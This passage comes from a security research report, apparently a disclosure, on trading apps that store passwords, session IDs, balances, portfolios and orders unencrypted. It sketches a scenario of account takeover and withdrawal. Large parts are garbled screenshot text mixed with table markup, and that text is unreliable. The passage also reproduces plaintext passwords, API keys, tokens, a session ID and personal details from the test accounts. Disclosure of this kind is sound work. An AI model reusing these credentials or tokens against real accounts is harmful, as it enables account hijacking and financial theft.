.000003Rea 67fd54f56 .atus 8d9b .vgfillPri .0baRejecte .83da0d0ba .ashValue	

Finally, it was seen that some non-sensitive data (e.g. public news or live financial TV broadcastings) travels through insecure channels, but this does not seem to represent a risk to the user.

### Passwords Stored Unencrypted

In 7 mobile apps (21%) and in 3 desktop applications (21%), the user's password was stored unencrypted in a configuration file or sent to log files. Local access to the computer or mobile device is required to extract them, though. This access could be either physical or through malware.

In a hypothetical attack scenario, a malicious user could extract a password from the file system or the logging functionality without any in-depth *know-how* (it's relatively easily), log in through the web-based trading platform from the brokerage firm, and **perform unauthorized actions. They could sell stocks, transfer the money to a newly added bank account, and delete this bank account after the transfer is complete**. During testing, I noticed that most web platforms (+75%) support two-factor authentication (**2FA**), however, **it's not enabled by default**, the user must go to the configuration and enable it to receive authorization codes by text messages or email. Hence, if 2FA is not enabled in the account, it's possible for an attacker, that knows the password already, to link a new bank account and withdraw the money from sold securities.

As could be seen in the previous section, some unencrypted channels also expose users' credentials. The following are some instances where **passwords are stored locally unencrypted or sent to logs in cleartext**:



< <mark>?</mark> xml ve:	rsion='1	.0' enco	ding='ut	E-8' sta	ndalone='ye	: <b>s'</b> ?>						
<map></map>												
<str< th=""><th>ing name</th><th>"passwo:</th><th>rd"&gt;Qwert</th><th>cyf00<th>tring&gt;</th><th></th><th></th><th></th><th></th><th></th><th></th><th></th></th></str<>	ing name	"passwo:	rd">Qwert	cyf00 <th>tring&gt;</th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th>	tring>							
<str< th=""><th>ing name</th><th>"cache.</th><th>url.cspro</th><th>odlive"&gt;</th><th>live-trader</th><th>-mob12.mar</th><th>kets.co</th><th>m:4</th><th>443<th>g&gt;</th><th></th><th></th></th></str<>	ing name	"cache.	url.cspro	odlive">	live-trader	-mob12.mar	kets.co	m:4	443 <th>g&gt;</th> <th></th> <th></th>	g>		
<str< th=""><th>ing name</th><th>"last.s</th><th></th><th>iress"&gt;l</th><th>ive<th>&gt;</th><th></th><th></th><th></th><th></th><th></th><th></th></th></str<>	ing name	"last.s		iress">l	ive <th>&gt;</th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th>	>						
<lone< th=""><th>g name="</th><th></th><th></th><th>value="1</th><th></th><th>0" /&gt;</th><th></th><th></th><th></th><th></th><th></th><th></th></lone<>	g name="			value="1		0" />						
<bool< th=""><th>lean nam</th><th>e=".first</th><th></th><th>value=</th><th>"false" /&gt;</th><th></th><th></th><th></th><th></th><th></th><th></th><th></th></bool<>	lean nam	e=".first		value=	"false" />							
<str< th=""><th>ing name</th><th>="fireba:</th><th></th><th></th><th>n key"&gt;d0uz</th><th>kIqO19M:APA</th><th>A91bHeZ</th><th>7mv</th><th>vHECKjnMHr</th><th>ri3Ng uLB</th><th>FzfA0</th><th>p2gwL4u6j</th></str<>	ing name	="fireba:			n key">d0uz	kIqO19M:APA	A91bHeZ	7mv	vHECKjnMHr	ri3Ng uLB	FzfA0	p2gwL4u6j
WvUA5vG5	BjgLiFWq	EfQZEYDh	39nXxvdBl	LuSFEqVL	rY-NRyOHY19	Mg <th></th> <th></th> <th></th> <th>_</th> <th></th> <th></th>				_		
<str< th=""><th>ing name</th><th>"last.s</th><th></th><th>/"&gt;Marke</th><th>tsProd</th></str<> <th>ing&gt;</th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th>	ing name	"last.s		/">Marke	tsProd	ing>						
xml version	n='1.0' encod	ing='utf-8' s	standalone='y	es! ?>			*					
<map></map>	name=" key la	at mode"\aut	(string)								10	
<long nar<="" th=""><th>me=".key_last</th><th>_event_timest</th><th>amp" value=".</th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th><u> </u></th></long>	me=".key_last	_event_timest	amp" value=".									<u> </u>
<string a<="" td=""><td>name=".key_la</td><td></td><td>int"&gt;21022981</td><td></td></string>	name=".key_la		int">21022981		Squot:AdditionalD	atasmot::{}	ot : Accou					
ntCrmGuid&quo	ot;:"175	9407",&q	uot;Currency	":"	;USD","	AccountID":	<pre>squot;21</pre>					
022981", mail":&c	, " Server quot;	Name":&c @gmail.	uot;demo&quo .com",&q	t;,"Acc uot;Token&qu	countType":&q ot;:"iMxKHJV	<pre>[uot;Demo"}]; Vr7Wdf8nvHNewdBTW</pre>	,≦quot;E WBdb0j11	k Filt	ter Search <ctrl< th=""><th>+K&gt;</th><th></th><th>ء م</th></ctrl<>	+K>		ء م
uswR6ekkT1141	14HeTSuASp0JK	pwc88y5NVrDnm	ntPz9YuxMNsoF	LNzwI9CiBnRR	r4y3rJwfbvXD0%2bd	BmTIbLeVC46Bn1kS	bYd9mIgR					
6XHSAfcA7BI1X	KEINSAQGIHOJN XbHjrjKAAidvJ	67E7FwWWUzRLs	\$3d"} </td <td>string&gt;</td> <td>032602W4PUVJeF6W1</td> <td>PSDCZICIWYRGWUOF</td> <td>uonseniux</td> <td></td> <td>Filter these messages</td> <td><ctrl+shift+k></ctrl+shift+k></td> <td></td> <td></td>	string>	032602W4PUVJeF6W1	PSDCZICIWYRGWUOF	uonseniux		Filter these messages	<ctrl+shift+k></ctrl+shift+k>		
<string a<="" th=""><th>name=".key_cr</th><th>m_credentials</th><th><pre>% aquot; cree ordinal aquot;</pre></th><th>dentialsTO&amp;q</th><th><pre>uot;:{"crede gin&amp;guot:&amp;guot</pre></th><th>ntialsType"</th><th>:{" ail.com/</th><th>E\$</th><th>Seply For</th><th>ward 🗖 Archive</th><th>🍐 Junk</th><th>O Delete More</th></string>	name=".key_cr	m_credentials	<pre>% aquot; cree ordinal aquot;</pre>	dentialsTO&q	<pre>uot;:{"crede gin&amp;guot:&amp;guot</pre>	ntialsType"	:{" ail.com/	E\$	Seply For	ward 🗖 Archive	🍐 Junk	O Delete More
quot;,"	password"	;:"6ynH2	forPaquot; }, a	quot; expirat	ionDate":152	9618798765} <th>ing&gt;</th> <th>Â</th> <th>From AvaTrade &lt; Cus</th> <th>tomer@avatrade.cor</th> <th>m&gt; ☆</th> <th></th>	ing>	Â	From AvaTrade < Cus	tomer@avatrade.cor	m> ☆	
						1,1	A11 -	5	Subject Welcome to A	vaTrade – Your Dem	no Account	07/06/2018 03:49 p.
				146 F - 3					To Me <	@gmail.com>1	4	
Burp Suite Profe	essional v1./.33 - To	emporary Project -	licensed to IOActiv	e [46 user license]					To enter the Met	aTrader4 demo	platform	
Burp Intruder R	tepeater Window	Help	<u> </u>	Υ		Υ <u></u>			Login: 2102200	1	piutorin.	
Repeater	Sequencor	Proxy	Spider	Extender	Scanner Project options	Intruder	Alerte		Login. 2102290	1		
repeater	Sequencer	Decoder	Comparel	Extended	Froject options	User options	Alerta		Server: Ava - De	emo		
<string< td=""><td></td><td></td><td></td><td></td><td></td><td>💿 Text 🔘</td><td>Hex 🕐</td><td></td><td>Password: 6ynl</td><td>126rP</td><td></td><td></td></string<>						💿 Text 🔘	Hex 🕐		Password: 6ynl	126rP		
name=".key_cr	m_credentials">{&	quot;credentialsTC	":{"cred	dentialsType&quo	t;:{"name":&q	uot;REG			-			
						Decode as .	· · ·		Choose your	to 200000 the	platform	
						Encode as			shoose your way	to access the	platiorm	
						Hash				<b>•</b>		
-		,	-			Smart de	code		\;;;/			
									PC Web Tradir	Google Play Appl	e Store	
<string name<="" td=""><td>e=".key_crm_crede</td><td>ntials"&gt;{"credentia</td><td>IsTO":{"credentials</td><td>Type :{"name":"R</td><td>EGULAR","ordinal":0},</td><td>💿 Text 🔘</td><td>Hex</td><td>-</td><td></td><td>iy sooyis i iuy Appi</td><td></td><td></td></string>	e=".key_crm_crede	ntials">{"credentia	IsTO":{"credentials	Type :{"name":"R	EGULAR","ordinal":0},	💿 Text 🔘	Hex	-		iy sooyis i iuy Appi		
"login":"	@gmail.co	om <mark>, "password": "</mark> 6)	/nH26rP <sup>+</sup> ), expiratio	onDate":1529618	798765}	Decode as					Unre	ad: 0 Total: 833
						Constant do .						

### Base64 is not encryption:

6 7 9 10 11 12 13 14	<pre>boundsX=-8.0 boundsW=1552.0 username=xxx@foo.com version=1.4 proxy=false password=UXdlcnR5ZjAwYjRy zoom=1.0 storeInto=1</pre>	Options -	Password:		Logir	] ]
	nitr0us@slacker: ~			_		$\times$

In some cases, the password was sent to the server as a GET parameter, which is also insecure:

🛞 Consola de iPhone	- 0	×
Jul 18 21:35:13 iPhone[4 frontend/public/login.aspx?mobile=t Jul 18 21:35:13 iPhone[4 frontend/public/login.aspx?mobile=t	<pre>M52] <notice>: Logging URL: https://trade. /common/ rue&amp;username=xhs67331&amp;password=Qwertyf00b4r M52] <notice>: Logging URL: https://trade. /common/ rue</notice></notice></pre>	
	LCEL	
xh	IS67331	
DETALLES DEL DISPOSITIVO:		
🗍 iPhone 6 - iOS 11.4		
🕒 18/07/2018 09:38 p. m.	emember me	
7 copia(s) de seguridad		
DANGER (C:) (34.67 GB)		
S + 52 (55)		
Administrador: Simbolo del sistema - adb logcat 07-15 01:32:55.577 1414 3454 W audio_hw_generic: Not supplying e nly wrote 3007440		
07-15 01:32:55.602 1432 1432 D SurfaceFlinger: duplicate layer n	na 🔰 🚺 1:33	
e 07-15 01:32:55 603 5600 6753 D Volley · [262] DickBasedCache cl		
07-15 01:32:55.614 1422 1422 D gralloc ranchu: gralloc alloc: Cr	ne la	
07-15 01:32:55.637	re la	
07-15 01:32:55.650	re	
07-15 01:32:55.700 5640 5683 D EGL_emulation: eglMakeCurrent: 0x	xc	
07-15 01:32:56.168 5640 5683 I CNATTY : UIG=10083( 07-15 01:32:56 208 5640 5683 D EGL emulation: eglMakeCurrent: 0v		
07-15 01:32:56 228 5640 6755 E Volley · [264] BasicNetwork perf	fr _	
ps:// .com/v1/user/login.json?device version=An		
de&connection type=WIFI&device type=Android&client type=MOBILE&loc	ca nitr0us	
=Android&password=sup3rs3cr3t%21%21%21%21&api_key=68e9c4cec7792f22	28	
ient_version=5.5.2&username=nitr0us		
07-15 01:32:56.229 5640 5640 E LegacyNetworkManager: statusCode:		
.oanda.com15316183//986		
07-15 01.32.50.229 5040 5640 E LegacyWetworkManager: com.android	LOGIN	
BasicNetwork.java:142)		
07-15 01:32:56.229 5640 5640 E LegacyNetworkManager: at com.and	dr 🔽 Remember Password Forgot Password	
her.java:110)		

One PIN for login and unlocking the app was also seen:





In **IQ Option**, the password is stored completely unencrypted:

However, in a newer version, the password is encrypted in a configuration file, but is still stored in cleartext in a different file:



Certain applications protect the customer's password but do not protect **other passwords**, **such as the ones for third-party services or proxies**:

📐 AvaTradeAct	- X 📝 C\Program Files (x86)\AvaTradeAct\user_loader_settings.xml - Notepad++ 💷 🖾
HTTP Proxy Settings	Archivo Editar Buscar Vista Codificación Lenguaje Configuración Macro Ejecutar Plugins Ventana 2
Server 192.168.1.1	Pot 8080 1 <2xml version="1.0" encoding="ntf-8"2>
Login	2 ⊟ <user client_id="" last_login="&lt;br" loader_settings="">"bukowski31337" last_entry="Real (USD)" language="en_US"</user>
Preview Password Login	skin="Dark" password= "Z0C84X8q0E0YX21k03GuZphK0s97hhB3+HqW8Q/f1RJGZpp+39/pXNoe0gu0
Settings Alternate Configuratio	n Server login="mwproxy" bassword="s3or3t"/>
Server altemate-server.mycompany.com	Port         4 <alternate_server <="" server="alternate-server.mycompany.com" th="">           1337         5         <entries></entries></alternate_server>
	6 └

🕕 iq	optior	ı
Proxy settings		×
Use a proxy server		
Address	Port	
192.168.1.254	31337	
Username		😣 😑 💷 nitr0us@ubuntu: ~/.local/data/IQ Option
proxy_user		nitrOus@ubuntu:"/.local/data/IQ Option\$ more cfg.dat {"esid":"" "usen id":21519558 "locale":""" "usen locale":"en US'
Password		<pre>r_login":true,"login":fnitrousenador@gaail.com","toker":"","toke qoption.com_443","show_lowfps_notice":true,"user_agent":"","devi</pre>
		BEBUALE-BUSD-CR91-AB22-BIAIU9CB78", "theme": "blue", "theme_plot_ litg":true, "login_plot_mode": "area", "login_regulator_logos":fals use":true, "proxy_address": "192_188_1_254" "proxy_port": "31337"," in": proxy_user" "proxy_password": "s3cr3t") nitrOus@ubmutu; ", tocal/data/10_0ptions"



Finally, not a password *per se*, but a session ID is stored unencrypted, which is enough to hijack the **IQ Option** session:

C:\Users\nitr@us\AnnData\Roaming\IQ_Ontion>egren_nir_59db7ec25f4d3ad83fbd8a71cef701ac * cfg.dat:1:{\'ssid':'59db7ec25f4d3ad83fbd8a71cef701ac'''user_id'':21519658,'locale'':'en'','user_locale'':'en_US'',' itrousenadorggma1.com','token'','6d94eabb213'dd8094cd4606c05532081c8940791f3a7efdef031468375f379be68a4b726aa 7a8182736e0bfc933d62a'','tokenbst'':'igoption.com:443'','show_lowfps_notice'':true,''user_agent'':'',''device_id'': D8257'',''theme'': 'blue'',''tokene_piot_bg_visibility'':true,''login_plot_mode'':''area'',''login_regulator_logos'':false,
s":"127.0.0.1","proxy_port":"8180","proxy_login":"proxy","proxy_password":"s3cr3t"> C:\Users\nitrOus\AppData\Roaming\IQ_Option>

#### Trading and Account Information Stored Unencrypted

In the trading context, operational or strategic data must not be stored unencrypted nor sent to the any log file in cleartext. This sensitive data encompasses values such as personal data, general balances, cash balance, margin balance, net worth, net liquidity, the number of positions, recently quoted symbols, watchlists, buy/sell orders, alerts, equity, buying power, and deposits. Additionally, sensitive technical values such as username, password, session ID, URLs, and cryptographic tokens should not be exposed either.

8 desktop applications (57%) and 15 mobile apps (44%) sent sensitive data in cleartext to log files or stored it unencrypted. Local access to the computer or mobile device is required to extract this data, though. This access could be either physical or through malware.

If these values are somehow leaked, a malicious user could gain insight into users' net worth and investing strategy by knowing which instruments users have been looking for recently, as well as their balances, positions, watchlists, buying power, etc.

Imagine a hypothetical scenario where a high-profile investor loses his phone and the trading app he has been using stores his "Potential Investments" watchlist in cleartext. If the extracted watchlist ends up in the hands of someone who wants to mimic this investor's strategy, they could buy stocks prior to a price increase. In the worst case, imagine a "Net Worth" figure landing in the wrong hands, say kidnappers, who now know how generous ransom could be.

The following screenshots show applications that store sensitive data unencrypted:

Balances:

I System.out: <liabilityexists>N</liabilityexists>	A 6	<b>≝</b> 12:45
I System.out: <singlebrkg></singlebrkg>		
I System.out: <funded></funded>	= Balances	0 0
I System.out: <u>ChasLoualAcets</u> NOCchasLoualAcets>	— Dalalices	~ 0
I System.out: <a href="https://www.setualuescore-commutation-com&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;I System.out: &lt;FmtLgrBankBalanceTs/&gt;&lt;/td&gt;&lt;td&gt;Mat Assats&lt;/td&gt;&lt;td&gt;&lt;u&gt;                                     &lt;/u&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;I System.out: &lt;liabilityOnly&gt;NO&lt;/liabilityOnly&gt;&lt;/td&gt;&lt;td&gt;Net Assets&lt;/td&gt;&lt;td&gt;ŞU.UU&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;I System.out: &lt;hasBrkgAccts&gt;YES&lt;/hasBrkgAccts&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;I System.out: &lt;LedgerValue/&gt;&lt;/td&gt;&lt;td&gt;Individual Brakaraga, 4140&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;I System.out: &lt;hasOLAccts&gt;NO&lt;/hasOLAccts&gt;&lt;/td&gt;&lt;td&gt;Individual Brokerage -4142&lt;/td&gt;&lt;td&gt;9&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;I System.out: &lt;isGDCEnabled&gt;YES&lt;/isGDCEnabled&gt;&lt;/td&gt;&lt;td&gt;Net Account Value&lt;/td&gt;&lt;td&gt;\$0.00&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;I System.out: &lt;singleBrkgSecMrkVal/&gt;&lt;/td&gt;&lt;td&gt;Net Account value&lt;/td&gt;&lt;td&gt;\$0.00&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;I System.out: &lt;singleBrkgCash/&gt;&lt;/td&gt;&lt;td&gt;Available for Withdrawal&lt;/td&gt;&lt;td&gt;\$0.00&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;I System.out: &lt;hasBankAccts&gt;NO&lt;/hasBankAccts&gt;&lt;/td&gt;&lt;td&gt;Cash Purchasing Power&lt;/td&gt;&lt;td&gt;\$0.00&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;I System.out: &lt;PDTRiskWarnMsgFlag/&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;I System.out: &lt;PDTRiskErrorMsgFlag/&gt;&lt;/td&gt;&lt;td&gt;N State Stat&lt;/td&gt;&lt;td&gt;View Portfolio 🕨&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;I System.out: &lt;PDTMessages/&gt;&lt;/td&gt;&lt;td&gt;&lt;u&gt;                                     &lt;/u&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;I System.out: (AccountList)&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;I System.out: &lt;TotalAvailableForWithdrawal&gt;\$0.00&lt;/TotalAvailable&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;I System.out: &lt;CashAvailableForWithdrawal&gt;\$0.00&lt;/CashAvailableForWithdrawal&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;I System.out: &lt;MarginAvailableForWithdrawal&gt;\$0.00&lt;/MarginAvaila&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;I System.out: &lt;MarginLevelCd&gt;1&lt;/MarginLevelCd&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;I System.out: &lt;pre&gt;\DtStatusUd&gt;1&lt;/pre&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;I System.out: &lt;IntradayMargin&gt;\$0.00&lt;/IntradayMargin&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;I System.out: &lt;IntradaynonMargin&gt;\$0.00&lt;/IntradaynonMargin&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;I System.out: &lt;&lt;u&gt;AccountRestrictionLevel&gt;null&lt;/u&gt;&lt;/AccountRestriction&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;I System.out: (RalCount/)&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;I System.out: &lt;BuyingPower&gt;\$0.00&lt;/BuyingPower&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;1 System.out: &lt;AccountMode&gt;CASH&lt;/AccountMode&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;1 System.out: &lt;AccountDesc&gt;INDIVIDUAL&lt;/AccountDesc&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;1 System.out: &lt;AccountNo&gt;3754-4142&lt;/AccountNo&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;1 System.out: &lt;a href=" https:="" www.system.out"="">https://www.system.out</a>		
1 System.out: <hccountdesctype>INDIVIDUHL</hccountdesctype>	4	
1 System.out: <ledgeraccountvalue></ledgeraccountvalue>		



Investment portfolio:

119= <u>0</u> 22©7091=32769©7036=0©7094=-22@ACCOUNT©6119= <u>0</u> 19©7091=32769©7036=0©7094=-23@AC							
COUNT©6119=Q20©7091=32769©7036=0©7094=_200ACCOUNT©6119=Q25©7091=32769©7036=0©7094	A						§ 1:13
=-21CACCOUNT@6119=Q18@?091=32?69@?036=0@10=164@							
08-11_13:13:09.773_3098_3115_I_aTws: [main]: ActivityState:(atws.activity.p			antfall	-			~+ :
ortfolio.PortfolioActivity071d3334).onAttachedToWindow()		= Р	OFUIOII	0		(	$\prec$ :
08-11 13:13:09.833 3098 3115 I aTws    : [IN-0-0]: 35=u@6040=R@320=5616@108=300							
0©7098=500©							
08-11 13:13:10.139 3098 3115 I aTws : [IN-0-0]: 35=P©6040=S©320=207©9905=5©9	ACI	COLINT				P&I	NetLia
<del>961-00:119-807094-444807</del> 2=1,337076=1.34K073=24194.35075=2.6706070=STK07219=AMX055	DU	77701	0			447	184
-AMX©7051=AMERICA MOUIL SPN ADR CL L©7221=NYSE©70 <del>37 100117 107871 15821</del> 9582©72=50	00	1///910	0			117	IN
<del>CCT6_589CT3_4895_89CT5_</del> 2.00@6070=STK©7219=GPRO©55=GPRO©7051=G0PRO_INC- <mark>SL</mark> ASS_A©72_	Ext.	iq	952.9K	SMA	905.8K	Unriz	71.00
21=NASDAQ.NMS©7039= <del>100119-207891-7679291</del> 1©72=4460 <mark>76-446073-159431.62075</mark> =-32.85060	Mnt	tMgn	47.16K	BuyPwr	3.811M	Rizd	0.00
70=STK©7219=TSLA©55=TSLA©7051=TESLA INC@ <del>7221=N6SDAQ_NMC</del> ©7039=1©6119=3©7094=BASE©7							
3=811K©55=BASE©7158=16©6119=4©7094=05D©73=811K©55=USD©7158=16©	INS	TRUME	NT	LAST	CHG	POS	P&L
08-11 13:13:10.530 1566 1587 I Activit <del>yManayer. Displayed</del> atws.app/atws.activit			_				
y.portfolio.PortfolioActivity: +1s612ms	AM	X NYSE	•	18.12	+0.21	1.34K	34.8
08-11 13:13:11.444 3098 3115 I aTws    : [main]: ActivityState tatws.activity.n	CP CP	PO		0.01	+0.02	500	7.50
avmenu.NavMenuBlankActivity@e3f764f).onSaveInstanceState()	GF	NO MASO	AQ.NMS	5.01	10.00	500	7.50
08-11 13:13:11.486_3098_3115_I_aTws:[main]: ActivityState:(atws.activity.n	TSI	LA NASDA	O.NMS	357.71	+2.31	446	74.4
avmenu.NavMenuBlankActivity@e3f764f).onStop() saved=true							
08-11 13:13:11.506 3098 3115 I aTws : [main]: ActivityState:(atws.activity.t	TO	TAL Ca	ish	811K	(Market Value	9	
rades.TradesActivity09711f84>.onStop(> saved=false	118	D Cach		0111	Relative Malace		
08-11 13:13:11.507 3098 3115 I aTws    : [main]: ActivityState:(atws.activity.t	US	U Gash		OTIK	formers and	9	
rades.TradesActivity09711f84).onDestroy()							
	-						-



#### Personal information:

6,"demoCID":8134981 "username":"bukowski31367","firstName":"John","lastName":"Spencer" "playerLevel":1,"gender":1,"language":6
["dateOfBirth":1929-09-11 00:00:00.0002"],"contactUserInfo": "gcid":7078031,"country":132,"countryByIp":132,"province":3848,"
provinceByIp":3848 "email":"hitrousenedox6gmail.com","address":"Street Eighter 1887","city":"dexico City","zip":"3848" ""
provinceByIp":3848 "email":"hitrousenedox6gmail.com","address":"Street Eighter 1887","city":"dexico City","zip":"3848" ""
provinceByIp":3848 "email":"hitrousenedox6gmail.com","address":"Street Eighter 1887","city":"dexico City","zip":"3848" ""
provinceByIp":3848" ""
phonePrefix":152","phoneBody":"551111387" "
mobile":null,"fax":null,"buildingNumber:"!128"."
state":01,"state::01,"state::0

Buy/sell orders:

978 D alws : Keyboard up - don't show the submit slider 978 D alws : Keyboard up - don't show the submit slider 978 D alws : Keyboard up - don't show the submit slider	÷	Buy Order 👻			:
978 D alws       : Keyhoard up - uon't show the submit sinder         15 I alws       : C0UT-01: 8=PIX.4.109=0102035=d0320=86G7094=76792991054=801=DU7779180151=12:         77228=1667831010-1210       :         115 I alws       : [IN-0-01: 35=u06040=T0]         115 I alws       : [IN-0-01: 35=d0320=86G7000=1011=95543343407228=166783107108=Filled0]         115 I alws       : [IN-0-01: 35=d0320=86G7000=1011=95543343407288=166783107108=Filled0]         115 I alws       : [UN-01: 85=HIX.4.109:9003203:Fm03200=7606404=S011=95543343400108=12906]         115 I alws       : [UN-01: 85=HIX.4.109:9003203:Fm03200=7606404=S011=95543343400108=12906]         115 I alws       : [UN-01: 85=HIX.4.1027208=103203:Fm03200=7606404=S011=95543343400108=12906]         115 I alws       : [UN-01: 85=HIX.4.1027208=103203:Fm03200=7004=95543343400108=12906]         115 I alws       : [UN-01: 85=FIX.4.1027208=1001004=7679299105=1516044=867219=1514067209	TSLA 35 BID	NASDAQ.NMS 7.87 +2.47 +0.69% 5 x 357.70	357. <b>99</b> x 1	Hig Lov	h 361.26 v 353.62 ASK
501-0077791867113=LIMITC7104=357.65014=12307108=Filled©7110=DAY 77115=WFFFFFF67114=#0000000 7099=Bought 123 Limit 357.65 DAY66241=167270=00 155PR_fasial=D_sided to update /OP Profit Taker' fime=In=Force item since '' supported=true;capabilities=of, GFC;upported=true;capabilities=of, OPG;supported=true;c	DU777 Quanti	7918 ity 123	_	+	- •
115 E aTws : ERR [main]: Failed to update 'OE Stop Less' Time-In-Force item since '' was pported=true;capabilities=o!,, GTC;supported=true;capabilities=o!, OPC;supported=true;ord	Time-ii	n-force Day			
115 1 alus : Imain1: hiding transmitslider, checkOrderlsbane orderbone, Filler 115 1 alus : Imain1: hiding transmitSlider since OrderStatus is done, y.a\$he58af8f5 115 1 alus : Imain1: hiding transmitSlider since OrderStatus is done, y.a\$he58af8f5 115 1 alus : Imain1: hiding transmitSlider since OrderStatus is done, y.a\$he58af8f5	Limit p	price 357.6	5 -		
115 I aTws : [IN-0-0]: 35-m@34=000012652=20170811-17:59:2666040-H@320-5385© 115 I aTws : [OUT-0]: 8=FIX-4.169=0021035-m66040=h0320=53850I0-1390 115 I aTws : [main]: ActivityState:(atws.activity.orders.OrderEditActivity@?fe215).fini:	Display	y size Show	All –		



Submit

"accountBalance":"99999.9658","gainQuoteHomeConversionFactor":

524 (NinjaTrader Continuum (Demo)) Cbi.Account.CreateOrder: orderId='20e54b60ad0c496b9475560f60ee2661' ac ed instrument='TSLA' orderAction=Sell orderType='Market' limitPrice=0 stopPrice=0 quantity=123 tif=Day oc ime='2018-03-19 11:04:07' gtd='2099-12-01' statementDate='2018-03-19' id=-1

524 (NinjaTrader Continuum (Demo)) Cbi.Account.Submit0: realOrderState=Initialized isPendingSubmit=False c496b9475560f60ee2661' account='Sim101' name='' orderState=Initialized instrument='TSLA' orderAction=Sel1 =123 tif=Day oco='' filled=0 averageFillPrice=0 onBehalfOf='' id=6 time='2018-03-19 11:04:07' gtd='2099-1 524 (NinjaTrader Continuum (Demo)) Cbi.Account.Submit1: realOrderState=Initialized orderId='20e54b60ad0c4 e='' orderState=Submitted instrument='TSLA' orderAction=Sel1 orderType='Market' limitPrice=0 stopPrice=0 Price=0 onBehalfOf='' id=6 time='2018-03-19 11:04:07' gtd='2099-12-01' statementDate='2018-03-19'

628 (NinjaTrader Continuum (Demo)) Cbi.Account.Submit0: realOrderState=Initialized isPendingSubmit=False c4d938e5d6b2c55e208fd' account='Sim101' name='' orderState=Submitted instrument='ISRG' orderAction=Buy of =123 tif=Day oco='' filled=0 averageFillPrice=0 onBehalfOf='' id=7 time='2018-03-19 11:04:20' gtd='2099-1 628 (NinjaTrader Continuum (Demo)) Cbi.Account.Submit1: realOrderState=Initialized orderId='dbf085c6ae2c4 e='' orderState=Submitted instrument='ISRG' orderAction=Buy orderType='Market' limitPrice=0 stopPrice=0 c Price=0 onBehalfOf='' id=7 time='2018-03-19 11:04:20' gtd='2099-12-01' statementDate='2018-03-19'



05-14 12:15:46 182 2904 2921 I aTus	Δ		40 I B 12-16	A⇔T Al=[Account[All allo
Investments, alloc ID=DU1010182+A+S.Al.			12.10	UC00074+A+S_A11
05-14 12:15:46.182 2904 2921 I aTws	4 Orden	Chatura	2	MODEL, ALL 1>
05-14 12:15:46.478 2904 2921 I aTws		Status	- <b>-</b>	8=A⊕
05-14 12:15:46.479 2904 2921 I aTws 📃				nUpdate:Allocation Detail
05-14 12:15:46.479 2904 2921 I aTws 📃		SIMULATED TRADING		c ID=DU1010182+A+T,A]];ac
05-14 12:15:46.479 2904 2921 I aTws 📃	SYMC JASDAO.N	4MS		
05-14 12:15:46.479 2904 2921 I aTws	01.05	1.83	High 21.89	A+T,A]=[Account[All, allo
Investments, alloc ID=DU1010182+A+S,A],	21.35	0.00%	High 21.09	UC00074+A+S,A]]
05-14 12:15:46.479 2904 2921 I aTws		9.38%	LOW 21.01	MODEL, ALL1>
05-14 12:15:51.975 2904 2921 I aTws	BID	375 x 21.35 21.36 x 119	ASK	©8082={"a":"c","c":"42^8^
